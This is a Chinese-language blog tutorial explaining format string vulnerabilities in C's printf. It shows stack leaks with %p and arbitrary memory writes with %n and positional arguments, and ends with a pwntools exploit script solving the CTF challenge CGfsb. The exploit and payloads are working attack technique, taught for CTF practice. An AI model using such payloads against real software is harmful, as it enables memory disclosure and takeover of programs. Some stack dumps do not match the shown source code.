详解格式化字符串漏洞利用

详解格式化字符串漏洞利用

最近看了很多格式化字符串漏洞利用的文章,发现写得都差那么点意思,所以决定自己写一篇,结合实例,好好地把这个知识点捋一捋。

1、漏洞产生原理

​ 对于一般的函数而言,应该按照cdecl (C Declaration) 函数调用规定把函数的参数从右到左依次压栈, 但是printf并不是一般的函数,它是C语言中少有的支持可变参数的库函数,所以,在被调用之前,被调用者无法知道函数调用之前有多少个参数被压入栈中。所以printf函数要求传入一个format参数以指定参数的数量和类型,然后printf函数就会严格的按照format参数所规定的格式逐个从栈中取出并输出参数。 那么,可供选择的输出格式有哪些呢?

  • %d 以十进制整数的格式输出

  • %s 以字符串的的格式输出

  • %x 以十六进制数的格式输出

  • %c 以字符的格式输出

  • %p 以指针的格式输出

  • %n 到目前为止所输出的字符数(把一个int值写到指定的地址去)

让我们看一眼示例代码:

#include 

int main()
{
  	  printf("%s %d %d %d %d","num",1,2,3,4);

  	  return 0;
}

如果正常运行上述程序的话,汇编代码主体是这样的:

0x000011ad <+20>:    add    eax,0x2e53
0x000011b2 <+25>:    sub    esp,0x8
0x000011b5 <+28>:    push   0x4
0x000011b7 <+30>:    push   0x3
0x000011b9 <+32>:    push   0x2
0x000011bb <+34>:    push   0x1
0x000011bd <+36>:    lea    edx,[eax-0x1ff8]
0x000011c3 <+42>:    push   edx
0x000011c4 <+43>:    lea    edx,[eax-0x1ff4]
0x000011ca <+49>:    push   edx
0x000011cb <+50>:    mov    ebx,eax
0x000011cd <+52>:    call   0x1030 

此时栈里的内容

00:0000│ esp  0xffffd190 —▸ 0x5655700c ◂— '%d %d %d %d %s %x %x'
01:0004│      0xffffd194 —▸ 0x56557008 ◂— 0x6d756e /* 'num' */
02:0008│      0xffffd198 ◂— 0x1
03:000c│      0xffffd19c ◂— 0x2
04:0010│      0xffffd1a0 ◂— 0x3
05:0014│      0xffffd1a4 ◂— 0x4
06:0018│      0xffffd1a8 —▸ 0xffffd27c —▸ 0xffffd452 ◂— 'SHELL=/bin/bash'
07:001c│      0xffffd1ac —▸ 0x565561ad (main+20) ◂— add    eax, 0x2e53

此时,一个大胆的想法浮现到了脑海中:如果我给出的format参数的个数大于待输出的参数数量会发生什么事情呢?

示例代码:

  #include 

  int main()
  {
  		printf("%s %d %d %d %d %x %x","num",1,2,3,4);
    
  		return 0;
  }

汇编代码主体:

  0x000011ad <+20>:    add    eax,0x2e53
  0x000011b2 <+25>:    sub    esp,0x8
  0x000011b5 <+28>:    push   0x4
  0x000011b7 <+30>:    push   0x3
  0x000011b9 <+32>:    push   0x2
  0x000011bb <+34>:    push   0x1
  0x000011bd <+36>:    lea    edx,[eax-0x1ff8]
  0x000011c3 <+42>:    push   edx
  0x000011c4 <+43>:    lea    edx,[eax-0x1ff4]
  0x000011ca <+49>:    push   edx
  0x000011cb <+50>:    mov    ebx,eax
  0x000011cd <+52>:    call   0x1030 

栈:

  00:0000│ esp  0xffffd190 —▸ 0x5655700c ◂— '%d %d %d %d %s %x %x'
  01:0004│      0xffffd194 —▸ 0x56557008 ◂— 0x6d756e /* 'num' */
  02:0008│      0xffffd198 ◂— 0x1
  03:000c│      0xffffd19c ◂— 0x2
  04:0010│      0xffffd1a0 ◂— 0x3
  05:0014│      0xffffd1a4 ◂— 0x4
  06:0018│      0xffffd1a8 —▸ 0xffffd27c —▸ 0xffffd44e ◂— 'SHELL=/bin/bash'
  07:001c│      0xffffd1ac —▸ 0x565561ad (main+20) ◂— add    eax, 0x2e53

运行结果:

1 2 3 33 test 1a1390 4013e8
--------------------------------
Process exited after 0.01398 seconds with return value 0

虽然我们给了7个格式化输出的参数,但是实际压入栈中的参数只有5个,所以,printf会输出两个本不应该输出的地址内容,借助这个漏洞,我们就泄露出了栈中的数据。

2、漏洞利用

1).泄露任意地址内容

我们借助攻防世界一道题(CGfsb)来理解这个知识点

下面是使用IDA得到的伪代码主体

01|  puts("please tell me your name:");
02|  read(0, &v5, 0xAu);
03|  puts("leave your message please:");
04|  fgets((char *)&v8, 100, stdin);
05|  printf("hello %s", &v5);
06|  puts("your message is:");
07|  printf((const char *)&v8);
08|  if ( pwnme == 8 )
09|  {
10|    puts("you pwned me, here is your flag:\n");
11|    system("cat flag");
12|  }
13|  else
14|  {
15|    puts("Thank you!");
16|  }

看到第7行,printf输出了在前面输入的v8变量,但是并没有给出任何格式化参数,所以我们可以通过构造v8的值来让printf误以为程序给出了格式化参数,从而乖乖的按照我们的意思输出我们所需的值。

运行效果:

Starting program: /root/pwn resources/gongfang/CGfsb_print_f
please tell me your name:
aaaa
leave your message please:
AAAA %p %p %p %p %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p 
hello aaaa
your message is:
AAAA0xffffd13e 0xf7fae580 0xffffd19c 0xf7ffdae0 0x1  0xf7fcb410  0x61610001  0xa6161  (nil)  0x41414141  0x25207025  0x70252070  0x20702520  0x20207025  0x20207025  0x20207025  0x20207025  0x20207025  0x20207025 
Thank you!
[Inferior 1 (process 622877) exited normally]

显然,程序泄露出了我们想要知道的printf函数的栈帧中输出字符串后19个内存单元的值,理论上来说,我们可以使用这个漏洞来进行任意读栈中的值(没错又是这种为所欲为的快乐)

2).修改任意地址值

也许有人看到这个标题可能会觉得很疑惑,为什么printf还能进行写入操作?

任意地址写就要用到上面说的%n了,示例如下:

int main(void)
{
    int c = 0;
    printf("the usage of %n", &c);
    printf("c = %d\n", c);
    return 0;
}

这个程序的输出值会是"c = 13"

就是说**%n参数把他前面输出的字符数赋值给了变量c**

那么,我们只要更改c所对应栈中的地址不就可以把我们想要的数值赋给对应地址了吗?

也许到这一步你有点不能理解,没关系,我们来看栈的结构

printf函数栈顶
格式化输出参数(%d %x %s %n)
待输出参数1(%d格式)
待输出参数2(%x格式)
待输出参数3(%s格式)
待赋值参数4(地址)
printf函数栈底
先前调用的函数栈顶**

就是说,我们把先前输出字符的总长度赋值给了参数4所对应的地址,也就是说,我们只要控制前面输出的长度就可以控制该参数所对应地址的值了。

但是,问题又来了,我们怎么控制参数4的值呢?

这就需要用到printf的另外一个特性:$操作符。这个操作符可以输出指定位置的参数。

就是说,假如格式化输出参数是“%6$n”的话,就把之前输出的长度赋值给printf函数的第6个参数,但是printf函数根本不知道自己的栈有多大,所以我们只需要把这个偏移数值定位到我们能够修改的内存空间,比如说题目中的v8变量所在地址就可以了~

那么题目中的偏移量是多少呢?

我们看前面构造的偷看任意位置内存空间的输入运行结果:

AAAA 0xffffd13e 0xf7fae580 0xffffd19c 0xf7ffdae0 0x1  0xf7fcb410  0x61610001  0xa6161  (nil)  0x41414141  0x25207025  0x70252070  0x20702520  0x20207025  0x20207025  0x20207025  0x20207025  0x20207025  0x20207025

看到‘0x41414141‘,就是我们输入的AAAA,也就是说,我们能控制的内存空间相对位置在printf函数的第10个参数位置(其实printf函数根本没有这么多个参数,只不过他自己并不知道)(10是怎么来的?从AAAA到0x41414141还有九个输出值,所以v8在相对第十个参数位置)

所以我们就可以构造我们的exp了!!!

from pwn import *

r = process("./CGfsb")

pwnme_addr = 0x0804A068           #pwnme地址在伪代码中双击查看
payload = p32(pwnme_addr) + 'aaaa' + '%10$n'     #pwnme的地址需要经过32位编码转换,是四位,而pwnme需要等于8,所以‘aaaa’起着凑字数的作用,使得

r.recvuntil("please tell me your name:\n")
r.sendline('aaaa')

r.recvuntil("leave your message please:\n")
r.sendline(payload)

r.interactive()

这篇文章查资料以及码字一共花了两天,期间问了相当多大佬,但始终没能得到自己想要的答案,最后还是靠着自己对汇编的理解以及函数的特性码出了这篇文章。果然,一入pwn门深似海,从此头发是路人。如果对看完文章的你有帮助,不妨点一波赞支持支持头皮发凉的我呗【手动滑稽】

你可能感兴趣的:(教程,pwn,字符串,反汇编,栈)